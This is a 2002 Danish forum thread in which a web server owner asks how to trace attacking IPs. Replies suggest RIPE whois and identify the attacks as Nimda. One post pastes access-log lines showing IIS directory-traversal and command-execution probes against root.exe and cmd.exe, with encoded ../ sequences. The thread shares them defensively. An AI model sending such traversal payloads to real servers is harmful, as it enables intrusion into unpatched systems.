Notifikationer

Markér alle som læst Log ud

oersted-pedersen Nybegynder

28. december 2002 - 12:50 Der er 13 kommentarer og
1 løsning

Spore IP ?

Min http server bliver i øjeblikket angrebet tem'lig meget af IP'er der meget ligner TDCs...
Hvor kan jeg spore disse IP'er tilbage til ejermændende, hvis det er faste IP'er ?

Synes godt om

Slettet bruger

28. december 2002 - 12:52 #1

det er oplysninger som udbydere af internet forbindelser ligger inde med. jeg mener at de er hemmelige, og kun kan udleveres ved politi anmeldelse.

mvh.
Questis

Synes godt om

Slettet bruger

28. december 2002 - 12:52 #2

Du kan ikke som privatperson spore ejeren af en IP-adresse. Du kan dog lave et opslag på adressen http://www.ripe.net/perl/whois, og se hvilken udbyder, IP-adressen tilhører.

Synes godt om

Slettet bruger

28. december 2002 - 12:55 #3

skulle vel egentligt være et svar.

Synes godt om

hobbez Nybegynder

28. december 2002 - 13:05 #4

Check nu lige om det ER et angreb eller om det bare er en server der forsøger at finde ud af, om du stadig er 'i live'.

Det KUNNE jo være at det bare var TDC's DNS-servere eller lign.

Prøv at poste IP'en her, før du går i panik!

/Rob

Synes godt om

oersted-pedersen Nybegynder

28. december 2002 - 13:54 #5

OK.. tak for linket magik... lige hvad jeg havde brug for.
hobbez tag lige et kig på det her.. Det anser jeg ikke som et alm. besøg på min hjemmeside. HVa' siger du !?

80.199.161.101 - - [28/Dec/2002:12:14:37 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:40 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:44 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:47 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:51 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:55 +0100] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:14:58 +0100] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:02 +0100] "GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:08 +0100] "GET /scripts/..Á../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:12 +0100] "GET /scripts/..À/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:15 +0100] "GET /scripts/..À¯../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:19 +0100] "GET /scripts/..Áœ../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:23 +0100] "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:26 +0100] "GET /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:30 +0100] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-"
80.199.161.101 - - [28/Dec/2002:12:15:33 +0100] "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "

Synes godt om

jelzin101 Praktikant

28. december 2002 - 14:53 #6

michaelp>> der er en maskine inficeret med nimbda vira der prøver at få fat i dig - det bedste du kan gøre er at kontakte vedkommendes udbyder hvorefter denne så vil fortælle ham/hende at maskinen er inficeret med virus.

Synes godt om

oersted-pedersen Nybegynder

28. december 2002 - 15:01 #7

OK.. kan du se det udfra den smøre !?
Har flere IP der kommer fra TDC der gør det her dagligt...

Synes godt om

jelzin101 Praktikant

28. december 2002 - 15:06 #8

jeps - det er nimbda eller en variant af nimbda - kan man se på at den requester root.exe og cmd.exe, og der er mange der har en iis server stående der ikke har patchet den så den er sikker - får også selv et par req's dagligt :)

Synes godt om

oersted-pedersen Nybegynder

28. december 2002 - 15:13 #9

OK.. hvad er root.exe og cmd.exe som den forsøger sig på ?

Synes godt om

jelzin101 Praktikant

28. december 2002 - 15:22 #10

http://www.iisfaq.com/default.asp?View=A374&P=1

cmd.exe kan du selv prøve ved at gå ned i start>>kør og så skrive cmd :)

Synes godt om

oersted-pedersen Nybegynder

28. december 2002 - 15:47 #11

OK jeg takker alle for hjælpen.. måske du kan lige kan hjælpe mig med den her jelzin101:
http://www.eksperten.dk/spm/298849

Synes godt om

langbein Nybegynder

06. januar 2003 - 01:50 #12

http://www.ripe.net/perl/whois?form_type=simple&full_query_string=&searchtext=80.199.161.101+&do_search=Search

Synes godt om

langbein Nybegynder

06. januar 2003 - 01:52 #13

http://remote.12dt.com/rns/

Synes godt om

langbein Nybegynder

06. januar 2003 - 01:55 #14

Tele danmark sin dns server ...

Synes godt om

Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Følg dette spørgsmål

Opret Preview

Se alle it-kurser fra Computerworld Kurser

IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Se alle it-kurser

Flere spørgsmål fra Andet sikkerhed kategorien

Titel	Indlæg	Oprettet	Seneste aktivitet
hvilken afløser kan I anbefale? Af jcr18 i Andet sikkerhed	5	17/03/202610:32	18/03/202615:36
Advarsler om datalæk for nogle apps Af nu_igen i Andet sikkerhed	6	02/02/202614:54	03/02/202613:45
Mail fra Yousee ? Svindel? Af nu_igen i Andet sikkerhed	4	13/01/202617:27	14/01/202609:36
Er det sandsynligt, at jeg har været udsat for phishing Af Slettet bruger i Andet sikkerhed	4	13/11/202515:09	14/11/202510:45
Google fake Af johp i Andet sikkerhed	3	27/10/202516:31	28/10/202506:52

Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten

Seneste artiklerRSS